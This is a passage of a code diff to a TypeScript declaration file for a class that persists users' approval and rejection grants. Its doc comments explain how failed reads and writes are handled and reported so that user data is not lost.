+     * **A prefix this cannot migrate is REMOVED from the file, and is named** ([[EXT-151]]). A member
+     * that is not a string, or that normalizes to nothing, becomes no entry — and the rewrite below is
+     * what makes that permanent. That is a real loss on a path where nothing else reports one: the
+     * skipped-entries notice belongs to the v2 reader and never fires here. It is reported at
+     * {@link StatusLevel.ERROR} on the same filterability axis every other loss on this seam uses.
+     *
+     * **And the migration notice no longer claims that nothing was removed while removing something.**
+     * That sentence is kept for the case where it is true — which is the ordinary case, and where the
+     * reassurance is worth having — and dropped where a member went.
+     */
     private static migrateFromV1;
     /** Every grant. */
     list(): ApprovalGrant[];
@@ -195,22 +285,88 @@ export declare class PersistedApprovalGrants {
     entries(): ApprovalEntry[];
     /** How many grants are persisted. */
     size(): number;
-    /** Add a grant and persist the whole store. A duplicate entry rewrites nothing. */
-    add(grant: ApprovalGrant): void;
+    /**
+     * [[EXT-144]] — **may this store write its file at all?** False when the load failed, in which
+     * case every write is refused.
+     *
+     * Public because the caller has to know *before* it builds the record it is about to hand over:
+     * a grant is stamped with the scope it actually got, the runner's in-memory stores can hold the
+     * very object they are passed, and a scope corrected after the fact would be corrected inside
+     * somebody else's store. Asking first is what lets an answer that cannot be written down be
+     * recorded as the session-only thing it is.
+     *
+     * **It answers about the FILE being readable, never about a write succeeding.** A store whose
+     * path cannot be written — a read-only checkout — still answers true here, because nothing was
+     * lost by reading it and the next write may well land.
+     */
+    canPersist(): boolean;
+    /**
+     * Add a grant and persist the whole store. A duplicate entry rewrites nothing.
+     *
+     * **Returns whether the grant is now recorded in the file** ([[EXT-144]]), which is not the same
+     * question as whether it is in force — it is in force either way, held here and in the runner's
+     * session store. `false` says only that a restart will not find it.
+     */
+    add(grant: ApprovalGrant): boolean;
     /** The grant held under this entry's identity, or `undefined`. */
     find(entry: ApprovalEntry): ApprovalGrant | undefined;
     /**
-     * Drop the grant held under this entry's identity and rewrite the file. Returns whether one was
-     * there.
+     * Drop the grant held under this entry's identity and rewrite the file.
+     *
+     * **Returns whether the deletion reached the FILE** ([[EXT-149]]) — the mirror of what {@link add}
+     * answers, and not the same question as whether the entry is still in force here. The in-memory
+     * removal happens either way and is what lifts the entry for this session; `false` says only that
+     * a restart will find it again. It used to return `true` after a write that threw, which is how
+     * the `/approvals` lift came to report a deletion that had not happened.
+     *
+     * `false` is also the answer when there was no such grant. The two are distinguishable with
+     * {@link find} beforehand, and the caller that reports to a user has already established the entry
+     * was there — it is offering to lift something it just listed.
      *
      * The write is what makes §4.7.4's invalidation a one-time event: a removal held only in memory
      * would be undone by the next session reloading the same stale snapshot, so the user would be
      * told their grant had been withdrawn once per session, forever.
+     *
+     * **The [[EXT-144]] refusal cannot strand a removal half-done, and by construction rather than by
+     * a check here:** a store that could not read its file is empty — the load recovered nothing, and
+     * {@link add} takes back what it could not write — so there is never a grant to remove, and this
+     * returns before reaching the write. If that invariant is ever broken, restore it rather than
+     * teaching this method to unwind.
      */
     remove(entry: ApprovalEntry): boolean;
     /**
-     * Write the file. Never throws: the grants are already in force for this session, and a
-     * read-only checkout must not end a run over a bookkeeping write.
+     * Write the file, and **report whether the write landed**. Never throws: the grants are already
+     * in force for this session, and a read-only checkout must not end a run over a bookkeeping
+     * write.
+     *
+     * **Never throws is not never says.** [[EXT-149]] — a swallowed throw left the surfaces that had
+     * already promised the user something as the last word on a file that never changed, so a failed
+     * write is reported ({@link failedWriteNotice}) in the words of whichever {@link WritePurpose}
+     * asked for it.
+     *
+     * ## [[EXT-144]] — it refuses to write over a file it could not read
+     *
+     * This is a WHOLE-FILE rewrite from what the store holds, and a store whose load failed holds
+     * nothing. So without this guard one saved answer replaces every entry in the file with itself:
+     * a trailing comma — the characteristic failure of a file people hand-edit and commit — becomes
+     * unrecoverable loss at the next prompt, with no backup and nothing on disk to go back to.
+     *
+     * **The deny side is why it refuses rather than saving a copy first.** A user whose refusals have
+     * silently stopped applying reaches for *always reject*, and that keystroke is what would make the
+     * loss permanent. Refusing leaves the file exactly as they left it: fix the comma and all of it
+     * comes back, with nothing to reconcile and nothing needing to have been copied in advance.
+     *
+     * **A sibling `.corrupt` copy was the alternative, and it is worse in this system**, because it
+     * would leave the user holding a merge they cannot perform — the live file with the one entry they
+     * just answered, a copy beside it with the twenty they had, and no tool to combine them. It would
+     * also write a second file into a directory people commit, and it would make the file parse again,
+     * so the load-time error that is the user's only signal would go quiet while nineteen refusals
+     * stayed out of force. And its guarantee is conditional on a write that can itself fail, which is
+     * the same read-only checkout this method already has to survive.
+     *
+     * The cost is a re-prompt and nothing else, which is the direction every ambiguity in this design
+     * resolves — and it is the same degradation the load side already makes ([[EXT-107]]: a store that
+     * cannot be read means `always` becomes `session`), now applied consistently to the write.
      */
     private tryPersist;
 }